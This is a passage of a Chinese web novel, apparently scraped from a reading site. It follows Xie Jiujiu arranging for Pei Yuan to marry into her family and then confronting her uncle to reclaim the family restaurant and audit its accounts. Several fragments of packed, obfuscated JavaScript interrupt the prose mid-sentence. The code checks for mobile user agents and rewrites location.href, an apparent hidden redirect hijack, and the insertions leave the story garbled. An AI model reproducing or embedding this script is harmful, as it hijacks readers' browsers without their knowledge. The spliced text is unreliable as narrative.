都是要招女婿的人了,亲自挑一挑姑爷好似也不是什么特别难接受的事情。田婆子只犹豫了一小会儿便一拍大腿,“成啊,怎么不成。” 这还没说亲事行不行,闺女就要把人叫到家里来相看,黄娟在一旁听得手直哆嗦,心里却知道这事自己是再拦不住了。 干脆也不说话,摆摆手示意谢九九赶紧出去,那意思再明白不过:‘你想怎么就怎么,这闺女是管不了了。’ 黄娟不情不愿地点了头,三日之后裴元便请了黄大舅作陪提着四样点心瓜果、两条大鲤鱼两只肥鸭、一坛子酒,跟着田婆子一起上门来。 黄大舅身姿魁梧,走路大步流星的。对于外甥女想要招赘这件事,他是一万个乐意。 外甥多像舅,在他看来家里这么多孩子就谢九九跟自己最像。只要不是真把她惹急了,对谁都能先让三分。其实骨子里犟着很,脊梁骨邦邦硬,是个能扛事的。 这么个姑娘,要是自家那姑爷还活着,别说一个裴元,就是县丞主簿家的少爷等闲都配不上。可现在不是姑爷死了嘛,他走得轻巧利索,留下这一家子妇孺就难了。 这几年黄大舅一直替外甥女私下寻摸着,不是这里不行就是那里不行。 家里妻子每次都劝,九九也不是样样都好的姑娘,光是那脾气硬得,就够人喝一壶的,怎么你还老想着给她找个样样都好的夫婿呢。 说是这么说,等到大舅妈自己被人拜托想要跟谢家攀亲,都不用跟黄大舅提她自己就先不乐意了。 知道是自家挑拣,更知道自家的孩子在家里人眼中就没有不好的地方,可改不了这个毛病有什么办法。 真就田婆子看中的这个裴元,瞧着还算顺眼。 模样好,读书知礼不迂腐,这两年衙门他除了帮着誊写文书,还有好些账面上的事他也愿意跑腿帮忙。 黄大舅在户房当差,负责整个县里的土地户口和赋税,每年光是把要交税的田粮收上来,就不是个轻省的差事。 衙门里吏员不够,到了忙的时候裴元都会跟着去下面乡镇村上帮忙收粮。老百姓日子过得不容易,裴元也不像衙门里有些老油条那样,过一道手就非要截下个三瓜两枣的。 不过他也不白忙活,他每次去村里都要带着曹勇和高义,他忙衙门里的事,那两人就忙着在村上收东西。 干鱼腊肉野兔野鸭、应季的菜蔬笋干酸菜,有什么收什么。收回来现在巷子口停一停,相熟的人家有想买的可以先挑选,等街坊四邻都买过了,再全部送去相熟的杂货铺子里。 因着是跟衙门一起下去的,一路上安全得很。到村上的时候驴车上也都是满的,全是油盐醋茶和针头线脑、不成匹的布头。 农忙时节村里的人一个个都忙得很,原本要往镇子上或是县城才能买到的东西,人家送到田间地头来,价格也跟自己去县城的铺子里买一样,一驴车的货往往用不了多久就能卖得干干净净。 每次这么往返一趟,不说赚多少辛苦钱总是能赚回来的。家里进项就这么些,曹勇和高义跟着这么跑一趟,能赚一点自然是一家子都高兴。 衙门里不止他一个帮忙的,人家也都是读书人。看他这样有人觉得挺好,就有人嫌他太世俗功利。 好似他一个从裴家出来的读书人,为了这点蝇头小利营营役役,简直就是辱没了孔圣人,斯文扫地,斯文扫地啊! 只有黄大舅,越发的爱用裴元,衙门里有点小事都乐意交代给他去办。 蝇头小利怎么了?没他这样斯文扫地,裴雨伯重病一年就过不上那样想吃什么吃什么的好日子,裴雨伯一死老高那一家子也留不下来。 一家子老的老小的小,大半辈子都在裴家过完了,主家真说不要就不要了,让他们怎么活。 裴元那小子守着孝还能撑起这么一个家,等日后只要能考上功名,哪怕只是个秀才这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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原以为今天的心情好不到哪里去,可这会儿落落大方的裴元,谢九九因为早上淅淅沥沥下个没完的小雨而有些沉闷的心情,一下子就满天云雾散了。 裴元长得像关氏,身段欣长肩背笔直,身上穿着靛蓝色夹棉直身,外头套一件青色披风,袖口有些磨损,不过胜在十分整洁干净,看上去简朴但不寒酸。 谢九九没有掩饰自己的打量,这人眉眼生得极好,鼻梁高挺轮廓分明,一双眸子漆黑如墨,叫人有些看不清他眼神里的情绪。 如墨的发束起,仅用一根木簪固定住,木簪的样式简单古朴,不大像外面买的,应该是裴元自己有这个雅兴,自己找了木料来做的。 “大姑娘说得是,既如此某便听从姑娘的,不客气了。” 裴元说不客气是真的不客气,撩袍角重新坐下不说,还顺手给谢九九倒了一杯茶,看得坐在外间谢文济直瞪眼,这人怎么这么听话,让他不客气他还真就不见外了? 9. 第 9 章 “听田婆婆说,大姑娘同意我把家中长辈的牌位带过来年年供奉。这便是我同意入赘提的要求,其余的如何安排全凭大姑娘做主,在下皆可。” “皆可的意思不是皆愿意,而是好不好的郎君都觉得可以将就。 就好比我家,之前族中如何找借口糊弄我,只要地契房契上没把我家的家产占了去,我也只能‘皆可’,对吧。” 行不行和愿不愿意,这二者之间差的可不是一星半点。 自己招赘摆明了就是要弄这么姑爷回来堵谢家人的嘴,这世上没有只自己用别人,不许别人用自己的道理。 与其成亲以后背地里互相算计,倒不如把心思摆到台面上来一五一十讲清楚。 只要不过分,这人长得这么好,跟他过日子赏心悦目秀色可餐,想来比跟许多歪瓜裂枣强上许多。 要是现在说好了成了亲又要跟自己藏小心思,到时候自己翻脸也有个根据说辞,到时候哪怕是要和离自己也占了个理字,吵架的时候声气儿都得大一些。 “大姑娘觉得你我之间该怎么谈,你起个头,我听着。” 自谢九九从屋外进来,脸上就一直笑盈盈的,杏眸大而圆,眼尾微微上挑,笑起来眉眼弯弯的,透着几分灵动与活泼。 十七岁的姑娘身段已经长开了,只有脸蛋儿上还有些圆润,白里透红像是刚蒸好的糯米糕。笑起来脸颊上还有两个浅浅的梨涡,怎么看怎么甜。 可裴元看得一清二楚,这甜妹子的皮相底下,藏着的却是一刻七窍玲珑心。 从小跟着爹在云客来里待着,来来去去见过的人那么多,早练就了一身察言观色扮猪吃老虎的本事。 看着跟谁说话都笑眯眯,说话的声量不高甚至带着几分软糯,可一字一句间就能轻易戳破裴元心中那点说不清道不明的随波逐流。 她好似生来就有窥探人心的天赋,也懂得什么该装糊涂,什么时候该强硬得寸步不让。谢九九活得清醒,就不肯让裴元跟自己和稀泥,那么有些话就不得不往清楚明白上说了。 “裴郎君,我打定了主意招赘,聘礼和成亲要花费的银钱都归我家出,婚事筹备也由我家操办。 等成亲以后裴郎君来家里住,我听说裴家还有一房下人,到时候不管是留在家中看守宅子,还是跟郎君一起搬过来,都是可以的。” 自己要是不招赘,嫁人肯定要带着丫鬟。现在换成裴元入赘谢家,裴家的家丁仆人要跟着到谢家来生活,也是应当应分的事情。 “不瞒大姑娘,家里的宅子大归大,维持得却不好。春日漏水冬日钻风,这几年光是修缮宅子的花费就够我头疼的。” “宅子是祖父留下来的家业,到时候老高和水婶子会留在家中看家,家里有人气宅子才不会越来越荒。我若是搬过来,只带两个人。” 曹勇是从小跟着的书童,从小跟在裴元身边就是裴元说什么他都觉得好。这次裴元说要入赘,家里老高头和水妈妈都是不乐意的,只有曹勇点头觉得好。 今天出门前,一贯沉默寡言做得多说得少的人主动喊住裴元,认认真真跟他说:“少爷,只要能把日子过得好,谁去谁家住都是小事,只要您过得舒心舒坦就好。” 高义也会跟着过来,一来他年纪还不大,就是要独自出去谋生也得再等两年。二来他是本地人,裴雨伯又不是个苛刻的人,高义从小就在街面上混着,好些事他去办,用着顺手也方便。 “我弟弟以后要脱了商籍去考试,家里的田产归他,云客来归我。经营一个饭庄不容易,我家族里那些人日后不一定不会来挑事寻衅,到时候你能替我出头吗。” “能。”裴元点点头,人家找个姑爷回来就是顶门立户的,要是连云客来都守不住,要自己还有什么用。 “不过我入赘,户籍不能变。明年二月我也要下场一试。” 裴元没有掩饰自己银钱上的窘迫,“答应入赘也是因为这个,守着孝,大的动作不敢有,小打小闹的赚了点钱也就过一遍手,留不了几天又都要花出去。” 读书是一件很花钱的事,笔墨纸砚全是抛费,再怎么节省每个月都要用掉那么多。 寻常的书自己抄写的时候熬夜多抄一本出来,能俭省些,但还有很多书价钱贵卖得也少,书铺里那些书用不着人抄,读书人却不得不读,不得不买。 时不时还要参加县城学子张罗的诗会文会,自己不是旷世奇才,只晓得关起门来读书不行,平日就得多看看别人写的文章,多汲取别人破题解题的思路,才能一直有进步。 这一桩桩一件件的事,哪一件不要花银子。就更不要说明年自己若是想要下场考试,二月过了县试就要准备去府城考试,四月要是能过了府试,就得马不停蹄省城准备院试。 这一趟一趟的往返,光是路费便不是个小数。为何有些读书人要靠全村人才能凑出一次考试的路费,原因就在于此。不是商贾大富或是书香门第,要养出一个读书人,从来都不是一件容易的事。 “你还要考试啊。”谢九九一听裴元这话眸中精光一闪,“我还以为裴郎君选择入赘,就没打算再在科举一道上下功夫了。” “云客来很好,以前的老掌柜人也好,想必今后有大姑娘做东家,会越来越好。” 裴元很坦诚的摇摇头,“但再好,也不能让你我后半辈子的身家性命全依靠云客来。 我必须考出个功名来,才能真正护得住这份家业。要不然靠大姑娘耍横,又或是我以后陪着大姑娘耍横,横上几次就没人怕了。” 软的怕硬的,硬的怕横的,横的怕不要命的。现在谢氏一族是忌惮谢九九这个愣头青,那些族老都是活了大半辈子的人了,想要占谢家的便宜,更想要保住自己的名声。 九九再横也不能真把族里那几个老的弄死两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176323|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个立威,往后云客来还这么不温不火的还好,要是生意越来越好蒸蒸日上,瞧着吧,他们还得想法子来闹。 要收拾这种人只有两个法子,要么一口气弄死,要么站得足够高,手中有足够威慑他们的能力。要不然家里再富贵,在他们眼中也不过是一块更大的肥肉罢了。 “只要你愿意考,银钱上的事不需要操心。郎君读一天的书,家里便出一日的钱,没有读不起的道理。” 谢文济读书用功,可能不能考中还说不定。家里要是还能出个有功名的人,是百利而无一害的。 “不过郎君得考虑清楚,不管你往后有没有功名,你我生的孩子都跟我姓谢。 郎君知权势压人,但权势大的人名声也更加要紧,你我成亲前需得立明婚书,到时候你若反悔,你我可以和离,但孩子归我。” “还有……”谢九九觉得这话有些生硬,可再不好说出口,犹豫片刻还是决定要说, “郎君是过继到裴家的,该如何供奉先人都是应当应分。不过你我以后若有孩子,不能再过继,你能不能答应?” 上次光想着裴元不欺负死人,之后再一琢磨又怕这人心中迂腐,自己招赘出来又想着再赔一个孩子给裴雨伯做嗣,那可万万不成。 “大姑娘尽可放心。”裴元没想到谢九九蹙着眉板着脸,一副寸步不让是要说这个,“我没有把孩子往外舍的习惯,日后我若和大姑娘有孩子,都姓谢。” “至于裴家……”裴雨伯总旗的武职被府城裴家要了回去,但对于好些落魄穷困的旁支来说,自己现在住的那三进宅子,就足够很多人舍出一个儿子来过继了的。 “我在一日,裴家这碗供奉饭自然有我操持。有一日我要不在了,有家里那个宅子在,从裴家旁支中再挑个心正的孩子过来,就算是我尽了心。” 裴元自诩不是多高风亮节的人,裴雨伯看重香火传家,自己就替他操持这几十年,算是还了他给自己一个光明清白身份的恩,其余的再多自己给不了,他得替自己奔出个前程去了。 谢九九还想再说什么,又觉得没什么可说的了。 都说先把丑话说在前面,后面的事就好办了,但过日子哪能事事都先说清楚。舌头和牙齿还有打架的时候,更何况是活生生的两个人。 “那我没有什么要说的了,裴郎君你呢。今日我在郎君面前毫无保留,郎君要是有什么要求也可坦诚告诉我。即便咱俩的亲事说不成,明年裴郎君考试需要的银钱,我能借给你,年利两分。” 如今民间借钱,月利三分以下都算有良心,谢九九给裴元年利两分,说白了就是告诉他两人今日是买卖不成仁义在,不用跟自己藏着掖着。 “在下并无更多要求,只我除服还有两个月,大姑娘若能等,这桩亲事某无不愿。” “好,那就这么说定了。等郎君出孝,我便请媒人上门提亲。” 10. 第 10 章 两个才第一次见面的人,就这么一来一回像是做买卖一样把自己的亲事给定了下来。 从谢家出来,黄大舅一眼又一眼的看裴元,攒了满肚子话却不知道从何说起。 想跟裴元说自家外甥女其实是个心软的好姑娘,可这话说出来好似有些单薄。本来是真话,一想想外甥女那丁是丁卯是卯的样子,他自己都觉得没那么真了。 反倒是裴元心情不错,回去的路上碰上路边摆摊的老翁,还饶有兴致的走过去,指着用草绳捆成一捆一捆的菜苔旁,那几根细细的枝丫,“老丈,这枝条什么价,卖不卖的。” “郎君要这个,尽管拿去便是。” 枝条细长,打眼一瞧如同一把枯枝,黄海仔细看了好几眼才看出来是雪柳。 本地林中溪边随处可见,眼下看着不起眼,拿回去养上些时日,白花满枝若雪,好看着嘞。 这玩意儿乡间城外确实很多,但老翁能专门折来细细整理好,说明他在这上面花了心思,就算本来不打算卖也一定是要带回家用的。 裴元不好跟老翁拉扯,只得多挑了两把白菜苔,又多给了两个铜板,就算是一起买下来的。一个铜板能换两个鸡子,四个鸡蛋换一把乡间路边常见的枝条,老汉自然乐意。 “大舅,这雪柳开花犹如枯树逢春,小侄分您一半带回去,等开了花家中长辈见了,肯定也欢喜。” 欢喜?欢喜欢喜。黄海拎着一大把枝条回家,进门就撞见家里的长工在自家妻子常氏的指挥下,正给前院花圃里除草。 黄海娶的媳妇常氏,家里世代都是胥吏,在容县这个地头当得起一声地头蛇。 这样的人家看着不起眼,其实家底子厚得很。那句老话怎么说的?铁打的衙门流水的老爷。 一个县城里迎来送往多少县太爷恐怕谁都说不清,但衙门和衙门里的胥吏都是会一直存在的。 尤其是胥吏,一个家族在一处地方生根壮大联姻繁茂,就像一颗大树,外面看着或许平平无奇,藏在地底下的根系却是轻易不可撼动。 常氏是家中幼女,当年看中黄家老大身板子壮浓眉大眼,说什么都要嫁过来。黄大舅也是娶了常氏以后,才入了衙门在户房当了个吏员。 嫁过来就是长嫂,那时候黄娟年纪还小,很多时候都是跟着常氏这个新进门的大嫂一起玩儿。 后来谢九九的外婆就常说,闺女光学会老大家那暴脾气,却没学会常氏的圆滑精明性子,就不是个聪明人。 精明能持家的常氏此刻看着黄大舅手里拿着的枝条,再看看长工刚从花圃里弄出来的杂草枯枝和枝条,脸上那表情简直精彩。 “如何,裴家那小子九九看上没有。” 后院专门留出来一块不大的地方,就是拿来种些萝卜白菜南瓜茄子这类,撒了种子下去都不用怎么管的家常小菜。 过完年就开春了,天气或许还有些凉,地里的菜苗可是一天比一天涨势旺。家里光是吃菜心都有些吃不过来,怎么还从外面提了一大把白菜苔回来了。 “菜就罢了,好歹能吃。你拿回来这么些枝条干嘛使的。” “你那新外甥女婿说了,这枝条开了花就跟那白雪满枝头一样,人家专门买的分了我一半。喏,拿到老太太房里找个花瓶插上,让老太太高兴高兴。” 是该高兴的,找上门女婿,女婿能干精明会读书都是好处,也算不得特别好的好处。 倒是这枝条让黄家一家子特别满意,打定主意入赘的姑爷,还有心思弄这些闲情逸致的玩意儿,要么是这人心胸宽广,真不把入赘当回事。要么是心有野望,不在意眼前这些小事。 不管哪一样吧,都比那些又想入赘白赚姑娘家产,心里又斤斤计较总觉得当了赘婿是辱没了家风的人强百倍。 晚上一家子人吃饭的时候,老三黄河听了更是高兴得很,三下两下把饭吃了就说要去他姐那儿一趟,也不管外边天都黑了。 黄河是家里最小的,黄娟又是家里唯一一个女儿。要说有事那黄娟肯定是先想着大哥,但要说听谁的哄,还是得黄河出马。 本来一直不情不愿的黄娟,被黄河拿着从娘家带来的香酥油炸小黄鱼和一坛子米酒一哄,第二天就改了口风,吃早饭的时候还主动问谢九九,这提亲的东西是不是该提前准备起来了。 一代亲二代表,即便血缘关系隔得不远,但从亲疏上论裴雨伯这一支已经没旁的亲眷了。裴元的亲事,他自己就能做主。 谢九九着急把云客来从族里要回来,黄娟真正松口点头答应这门亲事,谢家就欢欢喜喜开始准备提亲要用的东西。 等三月初三裴元除服出孝之后,黄娟便让黄大舅请了常家老爷子,带上谢九九和谢文济,叫上田婆子做媒人一起往裴家去。 “少爷,这事真不跟姨娘说?事后姨娘问起来该骂我了。” “不说。” 自己过继过来,就是裴雨伯这一支的嗣孙。要是关氏是裴家正经的姨娘还好说,可关氏如今都还住在外边的小院里,从未踏足过裴家的大门。 这样的身份太尴尬,与其让她在府城够不着的操心,就必须得先瞒着。 裴元外室子的身份,最在意最介意的一直都是关氏,要不然当初也不会那么乐意把儿子送出来过继。 当初裴元来容县,关氏是一直以为裴雨伯是有家底子的,裴元写信回去也是说一切都好,她压根就不知道儿子在容县这几年过的什么日子。 “那姨娘的事谢家可知道,以后逢年过节总是要见面的。” 本朝过继一事很寻常,过继出来的儿子按照律法不再有资格继承原来家里的财产,身生父母养老送终也不会再找这个过继出来的儿子负责。 但那是律法,律法之外还有人情。在人情上除了有些从一出生就过继出来的孩子,怎么可能有孩子说跟亲生父母断了就断了的。 在民间,过继出来的儿子逢年过节还是会跟本家有一定往来。再说了,少爷又没过继出裴家,还是一个宗祠一个祖宗,怎么可能就不联系了。 到时候去府城也肯定是先去姨娘那儿,这事就瞒不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176324|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “曹勇,我发现你现在越来越啰嗦了。” 约好的时辰已经到了,裴元都能听见前院隐隐约约的开门声。自己再不出去就失礼了,“谢大姑娘是个厉害人儿,姨娘见了会喜欢的。” 有些人家结亲,重视女方的,提亲的时候会带上家中儿子一起来,以示重视。现在换做谢家给裴家提亲,谢九九自然也要跟着。 常老爷子于私是谢家的姻亲,于公他还是县衙皂班班头,能把他请来,就表明了谢家很重视这桩婚事,并不曾因为是招赘而看轻了裴家。 再加上这本就是两家说好的事,提亲的整个过程大家都和和气气的,谢九九更是心情大好,前前后后往裴元那边抛了不下十来个飞眼儿。 看得黄娟不得不把大半个身子挡在女儿前面,再这么下去,她都怕自家这孽障把人先给吓跑了。 双方把八字拿出来让田婆子当场合过,这样的亲事自然没有八字不合的道理,田婆子更是好话不要钱的往外说,两人的亲事这就算是定下了。 裴元是个顾虑周全的人,今日把亲事定下,他也顺势把早就写好的婚事拿出来。 “大姑娘想早日把云客来拿回来,我想这份婚书应当有用。” 婚书上把那日自己跟谢九九口头约定之事一条一条写清楚,自己是入赘,婚书是可以拿去衙门存下,以防日后有什么变故牵扯不清的。 有用,自然有用!黄大舅亲自拿着婚书去户房,出来以后六房里的吏员一个个都拱手跟黄海道喜,连同跟着一起去的裴元,出来以后大家对他的态度也一下子亲近不少。 黄爷的外甥女婿嘛,就是自家人了。自己家的姑爷又圆滑又能干,这是好处。再不是以往提起裴元那口吻,总觉得他是外面不知道哪里来的小子,心机深沉了。 裴元如何因为一场亲事定下得了好处,谢九九暂时顾不上问。她拿着去衙门里由户房看过、备案存档的婚书,第二天就带着人往云客来去。 到云客来时正是中午开始进客的时候,谢九九出门只带了丫鬟春儿和长工承平,承平从小在家里做长工,顺带也跟谢德昌学会了记账算盘,今日要是要对账,就得用得着他。 “潘掌柜,这阵子生意可好。” “东家过来怎么没让人提前告诉我一声,怠慢了怠慢了。” 谢九九人还没进门,带着笑的招呼声就先进来了。人家不光跟自己这个掌柜打招呼,跟身后进来的客人也打招呼。 小县城,什么店子都多是一家子经营,女子抛头露面做生意的不多却也不罕见。谢九九招赘一事,在城中也算可以拿来茶余饭后闲聊了谈资。 见了谢九九,大部分人也不觉得有什么不妥。跟在谢九九身后进来两人还乐呵呵的插嘴,“潘掌柜,东家到自家的铺子里来,哪还有怠慢不怠慢这一说,你这话说得错了,该打嘴。” “小九儿,今儿厨房里有什么鲜货,炒两个荤的一个素的,再闻一壶高粱酒,别兑水啊。” “诶,方叔您坐,我这就给您到厨房看菜去。” 11. 第 11 章 云客来这种不大不小的饭庄,起码有一半做的都是熟客老客的生意。 这个老方家里开了一个猪肉铺子,谢德昌在世的时候就隔三差五的来,这几年谢德昌去世,他来得才少了。 今天还是瞧见谢九九从自己铺子前面过,亲耳听见她身边的长工在说云客来怎么怎么,这才赶紧扔了剔骨刀换了干净衣裳跟过来。 谁不知道谢九九这姑娘之前在鹿角镇上,强逼着谢家那几个老不死的答应把云客来还回来的事。她要去云客来,肯定是有热闹能看。 老方不仅自己颠颠的跟过来,路过几个相熟的铺子还使劲儿冲人挑眉飞眼的,等走到云客来的时候,同行一伴都有五六个人了。 一行人找了张空桌子坐下,老方更是朝谢九九打眉眼官司,“东家可当心些,你这云客来如今多的是外人在。” “方叔说笑了,我是东家,除了我和掌柜伙计,进门的都是客人,没有外人。” “你这张嘴啊,真像你爹。” 几句话,好久不见的老客们就熟稔的聊起来,好像和谢德昌在世的时候没什么不一样。 不过有人高兴,就有人不高兴。 还没等谢九九走到厨房,从后院走走过来一个黑着脸的‘三寸丁’,因背着光众人一下子都没看清他的模样,但只看这身高也知道是谢天佑。 谢宝柱和谢天佑是一家子兄弟,谢宝柱长得跟谢德昌有个四五分像,近六尺的身段走到哪儿都算高的,偏谢天佑从出生起就体弱矮小,成年了身高也不过五尺。 他走近了些,谢九九这会儿还得稍微低下点儿头才能看清楚他黢黑的脸色。 “你今天怎么过来了,才出了孝一个姑娘家不好好在家里待着,到处乱跑什么。” 谢九九定了裴家过继来的那小子当上门女婿,这事谢家早就听说了,他大概齐也能猜到谢九九今天过来是因为什么。 不过猜到了也不耽误他在谢九九跟前摆长辈的谱,就像这几年,不管谢九九怎么过问云客来的事,他和谢宝柱都是一句‘还守着孝,就该踏实在家里待着,外边的事不用你操心’来打发谢九九。 “四叔,今天又是您在这儿守着啊,我三叔呢。” 谢九九压根不接他那话,而是另起话头只跟他问谢宝柱在哪儿。 这两兄弟,一致对外的时候那是坏水都往一处流。但关上门来,要说他俩是一条心,恐怕说给鬼听鬼都不信。 谢宝柱模样好,因为模样好在外行走交际旁人也乐意跟他打交道,就越发的能说会道讨人喜欢。 他们家家里大哥稳重,年纪也大些,这些年一直是安心守着家里的田产过日子。 对于谢宝柱和谢天佑一门心思想要抢了云客来的事,他知道,也劝过。劝了没用就不管了,毕竟人家才是嫡亲的兄弟,胳膊肘哪边朝里他分得清。 他们家没有老二,老二就是谢老爷子非要凑上去跟他们一起序齿的谢德昌。谢宝柱和谢天佑年纪相仿,再往下还有两个弟弟两个妹妹,年纪都要小些。 这样一个多子多女的家里,什么事情都是谢宝柱说了算,这次筹谋着里正的位置,全家也是默认了就该让谢宝柱上。 至于谢天佑,族里知道云客来很有可能是不能再赖着不还,但那几个老头子和谢宝柱又都不甘心。 商量来商量去,把谢天佑给弄过来守着,好像族里有这么个人钉在云客来不走,谢家就不能顺顺利利把饭庄给收回去。 这是族里的事,即便不乐意天天住在饭庄后院守着,谢天佑也只能捏着鼻子听从。 直到这会子,谢九九明明听上去就是随口一问,但谢天佑就是从她那双带着笑意的眼睛里,看出了一丝没能掩藏住的鄙夷和轻视。 明明是个毛还没长齐的小孩子,谢天佑却觉得自己的虚张声势全被她看透了。 “你三叔有他的正事要办,哪能天天守在店里。” 谢天佑深吸一口气,重新摆出一副自在闲人的架势,好似谢宝柱把自己指使到云客来守着,是他心甘情愿的事。 “那可真不巧,我今天过来就是有正事的,四叔您看您知不知道三叔人在哪儿,我好叫人去找啊。” 谢九九把婚书拿出来展开,摆在一张空桌子上往谢天佑那边推了推,“正好四叔您在,给您道个喜,您马上就要添个侄女婿了。” 婚书上有县衙户房给盖的印章,说明这婚书是一式多份,在县衙里过了明路的。 之前说好谢九九招了赘婿,族里就把云客来还给她,现在人家姑爷找到了,拿着婚书来要饭庄了,谢天佑还真被她噎得半晌说不出一句反驳的话来。 原先,族里几个叔爷是商量着拖,能拖多久拖多久。定了亲又如何,只要一日没成亲这事是不是就不算把稳,姑爷都没过门难道就好插手谢家的云客来了?那不像话。 谢家在县城里算是中等偏上的人家,这样的人家招姑爷是不是要比寻常人家更讲究,三媒六聘没几个月走不完。 云客来在谢氏一族眼里就是金疙瘩,能多拿几个月是几个月,这几个月的银子,谢家是甭想要了。给他家看了三年的饭庄,这点银钱难道还不值当给? 本来是私底下早就对好了的说辞,不管谢九九找谁要云客来都这么说,有本事她一个姑娘家去衙门里告状去。 谁都知道衙门不好进,就是有黄海在后面撑腰又如何,事情递到衙门里,她谢九九照样得剐一层皮才算完。 到时候递状子请状师要花钱,上下打点还要花钱,比起族里每年昧下的那点银子,那才是海了去了。谢九九只要不闹开,这几个月的亏是吃定了。 商量得再好,也没想到谢九九会这么一捧一拉的刺激谢天佑。 哦,有正事就要找谢宝柱,这种人人都知道她定了亲的小事就拿来敷衍自己。谢天佑看着谢九九那一脸无辜笑盈盈的模样,心中不免无名火起。 只可惜这火烧得不是地方,越想越窝囊的谢天佑故意掸了掸夹袍的袍角, 衣裳是过年前分了云客来的银子之后做的,去县城里最好的绸缎庄里扯的布料。 说是什么百福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176325|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦,是这几年京城里最时兴的缎子。墨绿色万字纹看着是贵气,用来做夹袍子穿在身上那叫一个暖和。 “什么正事你说,四叔和三叔有什么不一样,什么事我还不能做主了?” 可就是这料子不经脏,别说穿了下地干活,不过在云客来后院和厨房转一圈,一不小心沾上几个油点子,看着都格外刺眼。 “那就麻烦四叔把店里的账本拿出来吧,我们先对账,把账对齐了到时候你们和潘掌柜一起把饭庄各处的钥匙交给我,这事就算了了。” 见谢天佑坐下,谢九九还十分恭敬地给他倒了盏茶。然后才抬手拢一拢裙摆,坐到他对面神情平静的往潘掌柜那儿看,示意他赶紧去拿账本。 谢九九声音清亮婉转,就是声量实在不小。一句话说得整个云客来一楼都安静下来,二楼唯一一间进了客人的雅间里,也走出来俩人,撑在栏杆上往下看。 “盘账不是小事,你总不能就在这里……” “我是我爹亲手带出来的,看个账本不成问题。” “云客来怎么了,我从小就在店里长大,又不扰着谁吃饭。庄大爷,您说是不是这个理。” 老庄是县城里有名的酒鬼,家里薄有资产,这辈子没吃过一天苦头,也没闯过大祸。每天不是喝个小酒,就是先喝个小酒再去打个小牌。 醉了累了回家倒头就睡,第二天又是一样的日子,年年月月的大半辈子就这么过完了。 但因着老庄这人不耍酒疯不多嘴讨人嫌,大家伙还挺乐意跟他打交道。谢德昌以前生意闲着的时候就愿意跟他聊天,两壶酒一个小菜,在角落里一坐一整天,也从不说什么。 为此,这几年即便换了掌柜,没人听他絮叨了,他也愿意时不常的过来。这会儿听谢九九喊,连忙扯着嗓子应了一声。 “那是,谁不知道德昌在世的时候最疼九九,这饭庄还只有咱们九姑娘能料理得开。老潘你啊,都差一截。” 老庄嘴上是嫌潘掌柜不如谢九九,所有人都知道这话是在说谢天佑。潘掌柜听了也不生气,还笑着冲老庄拱拱手,这时候能帮着人家小姑娘说话的,就不是坏心。 老庄起头,另外几桌也有人跟着起吆喝,谢天佑就算是彻底被架到高台上下不来了。这会子他要是硬撑着不给账本,明天整个县城就都要说是他谢天佑想要抢占云客来。 可事实上,每年分钱他分到的都不是最多的那一份,好处没占着坏人凭什么自己来当。 谢天佑心里恨得牙痒痒,面上的神情态度也算不上好。没好气的蹬了‘没规没矩’的谢九九两眼,这才冲潘掌柜:“还不把账本拿给咱们谢东家!” 拿就拿,潘掌柜这几个月简直就是掰着手指头在盼,这饭庄赶紧的让谢家收回去,之后用不用自己都行,总比天天看着这三寸丁在铺子里耀武扬威的强。 谢九九这一招不新鲜,有用就行。 账本拿到手也不走,占了最显眼的一桌,把小时候爹给专门做的楠木算盘拿出来,就当着这么多人和谢天佑的面,一页一页的算。 12. 第 12 章 “四叔,这一笔账不对啊。我们云客来有一直在用的菜户农户,什么时候一个鸡子得一个铜板才买得到了。” “啊?” 原以为潘掌柜拿给谢九九的是店里的流水账本,一天招待了多少客人,赚了多少钱,再加上每日杂费的支出,这一部分一直都是潘掌柜在管着。 这种账是摆在最明面上的,谁来看都看不出什么不对。 但潘掌柜又怎么可能只给谢九九拿这个,这三年后厨的采买一直都是谢宝柱在管,以前一直在用的菜户肉贩和杂货铺都被他以各种借口换了一遍。 换上来新的菜户是他妻子娘家,肉贩是这两年刚在县城落脚的人家,为了抢生意,卖出来的肉价被他压到了最低。 猪肉不是人人都吃得起的,谢九九这种从小家里不缺吃的,一入口就能吃出来谁家的肉更好,至于谢宝柱换的那一家,肉倒是没坏,吃在嘴里就是柴。 大部分人家一个月才吃几回肉?有便宜的谁去买贵的,大肥肉片子买回来,怎么做都觉得油香油香。 